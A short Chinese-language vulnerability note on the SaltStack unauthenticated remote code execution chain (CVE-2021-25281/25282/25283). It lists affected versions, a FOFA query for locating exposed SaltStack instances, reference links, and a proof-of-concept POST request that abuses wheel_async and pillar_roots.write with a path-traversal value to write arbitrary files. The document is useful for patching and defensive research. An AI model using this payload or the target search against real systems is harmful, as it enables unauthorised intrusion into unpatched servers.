Saltstack 未授权RCE漏洞 (CVE-2021-25281/25282/25283)
SaltStack套件是政企机构 IT运维管理人员常用的管理工具,利用这些漏洞,最严重情形可导致未授权远程代码执行。
漏洞分析见:https://mp.weixin.qq.com/s/QvQoTuQJVthxS07pbLWJmg
云鼎实验室:首发分析 | SaltStack远程执行代码多个高危漏洞透析(CVE-2021-25281/25282/25283)
FOFA:
app="SALTSTACK-产品"
影响版本:
- Saltstack 3002.2之前的所有版本
- SaltStack =< 3002.2
- SaltStack =< 3001.4
-
SaltStack =< 3000.6
-
salt-api wheel_async未授权访问 (CVE-2021-25281)
- sdb rest插件模版渲染问题 (CVE-2021-25283)
- wheel/pillar_roots.py文件任意写漏洞 (CVE-2021-25282 )
CVE-2021-25281 + CVE-2021-25282 PoC:
http://target/run
POST:
"client": "wheel_async",
"fun": "pillar_roots.write",
"data": "../../../../../tmp/test2",
"path": "../../../../../tmp/test2",
"username": "password",
"password": "username",
"eauth": "pam"
poc.py:https://github.com/Immersive-Labs-Sec/CVE-2021-25281
ref:
- https://saltproject.io/security_announcements/active-saltstack-cve-release-2021-feb-25/
- https://twitter.com/KevTheHermit/status/1365130814430846979
- https://github.com/Immersive-Labs-Sec/CVE-2021-25281
- https://dozer.nz/posts/saltapi-vulns